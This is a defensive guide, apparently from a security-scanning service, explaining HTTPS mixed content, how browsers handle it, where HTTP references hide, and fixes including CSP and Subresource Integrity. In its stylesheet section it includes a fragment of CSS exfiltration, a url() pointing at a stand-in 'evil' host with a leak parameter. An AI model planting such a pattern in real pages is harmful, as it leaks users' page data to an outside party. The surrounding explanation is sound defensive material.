Mixed content is the vulnerability of the almost-finished migration. The certificate is valid, TLS 1.3 is on, HSTS is staged — and somewhere in the page, a template still says <script src="http://old-cdn.example.com/jquery.js">. That one attribute reopens the exact attack surface the entire TLS deployment was built to close: a network attacker can now modify code that runs on your HTTPS page.
What makes mixed content tricky in practice is that browsers handle it inconsistently — some of it is hard-blocked, some is silently upgraded, some merely logs a console warning your team has never read — so a page can be technically vulnerable, visually broken, or working fine by luck, depending on which resource type is affected and which browser loads it. This guide walks through the taxonomy, the browser behaviors, and every place HTTP references hide (including the CSS ones that routinely survive audits). The free security scan detects all eight mixed-content patterns — scripts, styles, iframes, form actions, images, inline styles, CSS @import and url() — as part of the HTML check.
Table of contents
- What mixed content is, precisely
- Active vs passive: the distinction that drives everything
- What modern browsers actually do
- Where HTTP references hide
- The fixes, in order of permanence
- Subresource Integrity: the related check
- Frequently asked questions
What mixed content is, precisely
Mixed content is any subresource loaded over plain HTTP by a page served over HTTPS. The definition is per-page, not per-site: https://example.com embedding http://cdn.example.com/image.png is mixed content even if both hosts belong to you, because the confidentiality guarantee of the page is only as strong as the least-encrypted byte it processes.
Why the connection's scheme determines the page's security: TLS authenticates and encrypts the transport. Any resource fetched without it travels as plaintext, unauthenticated, unmodified-or-not. An on-path attacker — café Wi-Fi, compromised router, corporate middlebox — can alter it in flight. If the altered thing is data, the damage is a defaced image. If the altered thing is executable code, the attacker is now running JavaScript in the context of your HTTPS origin: reading the DOM, capturing keystrokes, rewriting the login form. The padlock in the address bar stays green the entire time — the browser only certifies the top-level document's transport, not the integrity of what that document pulls in.
Active vs passive: the distinction that drives everything
The security model — and the browser behaviors and severities — split on one question: can the resource execute code?
Active (blockable) mixed content — scripts, stylesheets, iframes, form actions, XHR/fetch endpoints, WebSocket connections, plugin data:
<script src="http://...">— the attacker rewrites your JavaScript. Total page compromise. High severity in our scan.<iframe src="http://...">— the attacker controls an entire rendering context embedded in your page, free to phish or reframe. High.<form action="http://...">— everything the user submits (passwords included) travels plaintext and can be modified in flight. High.<link rel="stylesheet" href="http://...">— CSS can exfiltrate and rewrite UI (attribute selectors feedingbackground-image: url("https://evil/?leak=...")), and broken CSS cascades into clickjacking-friendly layouts. Medium.- CSS
@importfrom HTTP URLs. Medium — same compromise class as stylesheets.
Passive (display) mixed content — images, audio, video, and non-executable fetches:
<img src="http://...">— the attacker can swap or track images (a real but lower-stakes integrity and privacy issue; also a tracking channel). Low.- HTTP references inside inline
style="background-image:url(http://...)"attributes and CSSurl()functions. Low each, but they signal the same hygiene gap.
This split is not arbitrary: it's the severity ordering our scan uses, and it maps to what the attacker gains — code execution versus content manipulation versus tracking.
What modern browsers actually do
The same page is treated very differently depending on browser and resource type, which is why mixed content survives in production:
- Active mixed content is hard-blocked in all current browsers. An HTTP
<script>on an HTTPS page does not run — the request is cancelled. The page doesn't warn the user; features just silently break. So active mixed content today manifests as "the widget stopped working on some machines" — the vulnerability has converted into a self-inflicted denial of service, which is still a finding: it means the migration is incomplete and someone, somewhere, will "fix" the breakage by downgrading the page to HTTP. - Passive mixed content is auto-upgraded in Chrome and Edge:
http://images are retried ashttps://automatically (and blocked if the HTTPS version doesn't exist). Firefox upgrades most passive content too. The practical effect: image-level mixed content often appears fine in modern browsers while remaining broken in older or embedded contexts — and still shows up honestly in a scan, because the wire-level reference exists. - Console warnings nobody reads. Browsers log every decision in DevTools. Mixed content that "works fine" in QA on Chrome may be blocked outright in an in-app WebView or an older Safari — the failure surfaces as a customer report, not a test failure.
The one behavior to never rely on: browsers will eventually block everything. Chrome's roadmap has been deprecating passive-content leniency for years. Scanning for the references — not trusting browser mercy — is the durable approach.
Where HTTP references hide
Teams that "searched the codebase for http://" and found nothing are usually bitten by one of these:
- Database content. Product descriptions, CMS blocks and marketing pages store raw HTML in the database. The template is clean; the content carries
<img src="http://...">from 2014. Code search finds nothing; page fetches do. This is the single most common source in our scan results. - CSS files.
@import url(http://fonts...)andurl(http://...)inside stylesheets — including stylesheets loaded from CDNs you don't control. A page-level scan catches what a template grep misses. - Inline styles.
style="background-image: url(http://...)"attributes in generated emails, exported HTML, third-party widgets. - Form actions in iframes and embeds. Payment or newsletter embeds pointing their form posts at
http://endpoints — the highest-stakes variant, since it exfiltrates user input. - Third-party snippets. Old ad tags, tracking pixels and badge code copied from vendor docs years ago. These live in templates, CMS widgets and tag managers.
- Redirect targets. Your page may be clean while a redirect chain (see the redirects guide) briefly hops to
http://— caught by the redirect module rather than the HTML module, another reason both run.
The scan fetches the rendered page source (not the templates), so it sees exactly what a browser sees — including database-driven content and third-party embeds.
The fixes, in order of permanence
1. Change the references to https:// — explicitly, not protocol-relative. The classic "fix" was src="//cdn.example.com/lib.js" (inherit the page's scheme). It works, but it perpetually defers the decision to whoever loads the page — and modern best practice is to commit: every subresource is served over HTTPS in 2026, so write https://. Protocol-relative URLs also break under file:// review tooling and make CSP auditing harder.
2. Verify the HTTPS endpoint actually exists. Half of mixed-content remediation stalls because https://old-cdn.example.com was never configured. Where the HTTPS version doesn't exist, that's a vendor conversation or a migration task — the finding will not go away by wishing.
3. For content you don't control (CMS, database), fix the data, then prevent regressions:
-- Example: migrate stored HTML (do a backup, and review matches first)
UPDATE pages
SET body = REPLACE(body, 'src="http://', 'src="https://')
WHERE body LIKE '%src="http://%';
and add a lint or publish-time check that rejects http:// subresources in authored content.
4. Belt-and-suspenders: CSP upgrade-insecure-requests. Adding this directive instructs the browser to rewrite every http:// subresource request to https:// before it leaves:
Content-Security-Policy: upgrade-insecure-requests
This cleans up stragglers transparently — but understand what it is: a migration aid, not a control. If the HTTPS upgrade fails, the resource is blocked (fine), and it does nothing about already-HTTPS compromised sources. Keep it after migration; don't mistake it for the migration. (It pairs naturally with the CSP deployment in the security headers guide.)
5. Re-scan, including subpages. Mixed content is per-page; a homepage fix tells you nothing about /pricing or the blog archive. Automated scanning exists precisely because manual page-by-page checks decay — and new content reintroduces old patterns continuously.
Subresource Integrity: the related check
While auditing external resources, the same scan pass checks a second property: Subresource Integrity (SRI). Once your scripts load over HTTPS, the remaining question is whether a compromise of the CDN (not the network — the vendor itself) can run code on your page. SRI answers it by pinning a hash:
<script src="https://cdn.example.com/lib.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous"></script>
The browser computes the fetched file's hash and refuses to execute on mismatch — a compromised CDN can no longer inject code into your page. It's worthwhile for every third-party script (less so for first-party, frequently-updated bundles, where the hash churn becomes the cost). Note the flip side: SRI pins the file, so versioned library URLs only. The scan flags HTTPS pages that load external resources without SRI so the decision is conscious rather than ambient.
Frequently asked questions
If browsers block active mixed content anyway, why does it matter?
Because "blocked" means your page is broken, not safe — the migration is still incomplete, and the pressure to fix it the wrong way (downgrade the page) is where the real vulnerability materializes. And browser blocking is per-browser: WebViews, older Safari and some embedded contexts are more lenient.
Why are HTTP images only Low severity?
Images can't execute code. The residual risks — content swapping, user tracking via image loads, viewer fingerprinting — are real but bounded. High severities are reserved for code execution paths: scripts, iframes, form actions.
Does upgrade-insecure-requests count as a fix?
It's a safety net, not a fix. The wire-level reference still exists; the scan still (correctly) reports it. Fix the references, keep the directive as insurance.
We use a CDN that serves HTTPS — why are we flagged?
The reference in your HTML says http://. Even if the CDN redirects http:// → https://, the first request (and the redirect response) travels plaintext, and the reference is the fragile artifact. Change the reference, not just the behavior.
Where do I start when hundreds of pages are flagged?
Sort by severity: form actions and iframes first (user-input exposure), then scripts and styles, then images. Database-stored content usually explains the bulk — one content migration often clears most of the report.
Run the free security scan for a per-resource mixed-content report on your domain — plus SRI coverage, TLS posture and the rest of the checks in one pass.
Remote Daemon